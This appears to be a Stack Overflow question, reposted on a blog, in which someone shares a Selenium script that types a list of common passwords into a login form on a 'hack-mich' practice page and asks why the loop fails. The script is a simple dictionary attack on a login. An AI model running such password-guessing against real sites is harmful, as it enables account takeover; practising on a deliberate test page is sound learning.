I have following code, to insert passwords on a website.
require('chromedriver');
var webdriver = require('selenium-webdriver');
var driver = new webdriver.Builder()
.forBrowser('chrome')
.build();
driver.get('https://junusergin.github.io/hack-mich/login.html');
let dictionary = [123456, 123456789, 12345, "qwerty", "password", 12345678, 111111, 123123, 1234567890, 1234567, "qwerty123", "000000", "1q2w3e", "aa12345678", "abc123"];
function tryCombinations(combinations) {
let index = 0;
inputField = driver.findElement(webdriver.By.id('username'));
driver.executeScript("arguments[0].setAttribute('value', 'test')", inputField);
inputField = driver.findElement(webdriver.By.id('password'));
driver.executeScript("arguments[0].setAttribute('value', '" + combinations[index] +"')", inputField);
driver.findElement(webdriver.By.className('button')).click();
index++;
}
If I start the Script, it paste the first password in the browser. I want now to put in each password from the array.
For this my idea was something like this:
dictionary.forEach(element => tryCombinations(element));
Does someone know, why it does not work?
Via Active questions tagged javascript - Stack Overflow https://ift.tt/8u6HOro
Comments
Post a Comment